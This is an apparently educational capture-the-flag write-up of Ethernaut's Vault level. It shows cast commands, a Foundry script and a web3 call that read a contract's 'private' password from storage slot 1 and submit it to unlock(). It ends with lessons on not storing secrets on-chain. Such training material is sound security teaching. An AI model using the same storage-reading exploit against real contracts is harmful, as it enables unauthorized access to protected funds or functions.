# Ethernaut Level 08 - Vault

## Objectives

Our objective is to unlock the vault to pass the level, i.e., set the `locked` to `false`. Let's dive in. 

---

## Analysis

```solidity
function unlock(bytes32 _password) public {
    if (password == _password) {
        locked = false;
    }
}
```
The `unlock()` function is taking an input `_password` and comparing it with an already set password in the constructor. We can not see the password hardcoded anywhere. 

The thing about blockchain is all the storage data is publicly visible and anyone can obtain it as we'll be seeing soon. The `private` variables are not meant to store "private" data/passwords. 

EVM stores data in slots and each slot is 32 bytes in size. The first defined variable is assigned slot 0, the second is assigned slot 1, and so on. This is true if every variable is 32 bytes. Otherwise, slot packing happens to optimize the storage. 

To finish the level, we need to read the value of the `password` from slot 1 of the Vault contract and submit it to the `unlock()` function. 

---

## The Exploit
To finish this level, we won't even be creating a smart contract. We'll be using `cast` to fetch the data stored inside private variable slots and make a function call to Ethernaut's deployed instance. 

1. The following command will fetch the data stored on slot 1 of the Vault contract:
```
cast storage 0x99eB2673b68505D36bAd14c114B96a9B9e2601fE 1 --rpc-url $RPC_URL
```
2. Let's check the password by converting it to ASCII. Looks really secure - `A very strong secret password :)`
```
cast --to-ascii 0x412076657279207374726f6e67207365637265742070617373776f7264203a29
```
3. Make a function call to `unlock()` passing the received password as `bytes32`. 
```
cast send 0x99eB2673b68505D36bAd14c114B96a9B9e2601fE "unlock(bytes32)" "0x412076657279207374726f6e67207365637265742070617373776f7264203a29" --private-key $PKEY --rpc-url $RPC_URL
```

![image.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1660487916643/4JMntnC8d.png align="left")

This will set the `locked` variable to `false` and the instance can be submitted to finish the level. 

Since the `locked` variable is on slot 0, its value can be checked using the following command: 
```
cast storage 0x99eB2673b68505D36bAd14c114B96a9B9e2601fE 0 --rpc-url $RPC_URL
```

Here's another way to make the function call using [forge scripts](https://github.com/az0mb13/ethernaut-foundry/blob/master/script/level08.sol):
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "forge-std/Script.sol";
import "../instances/Ilevel08.sol";

contract POC is Script {

    Vault level8 = Vault(0x198Bf7b324117Da5EFBCbd58f2B23a387134B8a9);

    function run() external{
        vm.startBroadcast();
        console.log("Vault is :", level8.locked());
        level8.unlock(0x412076657279207374726f6e67207365637265742070617373776f7264203a29);
        console.log("Vault is :", level8.locked());
        vm.stopBroadcast();
    }
}
```
```
forge script ./script/level08.sol --private-key $PKEY --broadcast --rpc-url $RPC_URL
```
![image.png](https://cdn.hashnode.com/res/hashnode/image/upload/v1660488739806/-_AqebhEs.png align="left")

If you wanted to do the same thing using the console, here's the command to get the storage using Web3:

```javascript
await web3.eth.getStorageAt(contracts_address, slot_number)
```

> My **Github Repository** containing all the codes: github.com/az0mb13/ethernaut-foundry

---

## Takeaways
* All the data stored on the blockchain is publicly accessible so it's recommended to 
 not hardcode any sensitive passwords. 
* Private functions and state variables are only visible for the contract they are defined in and not in derived contracts.
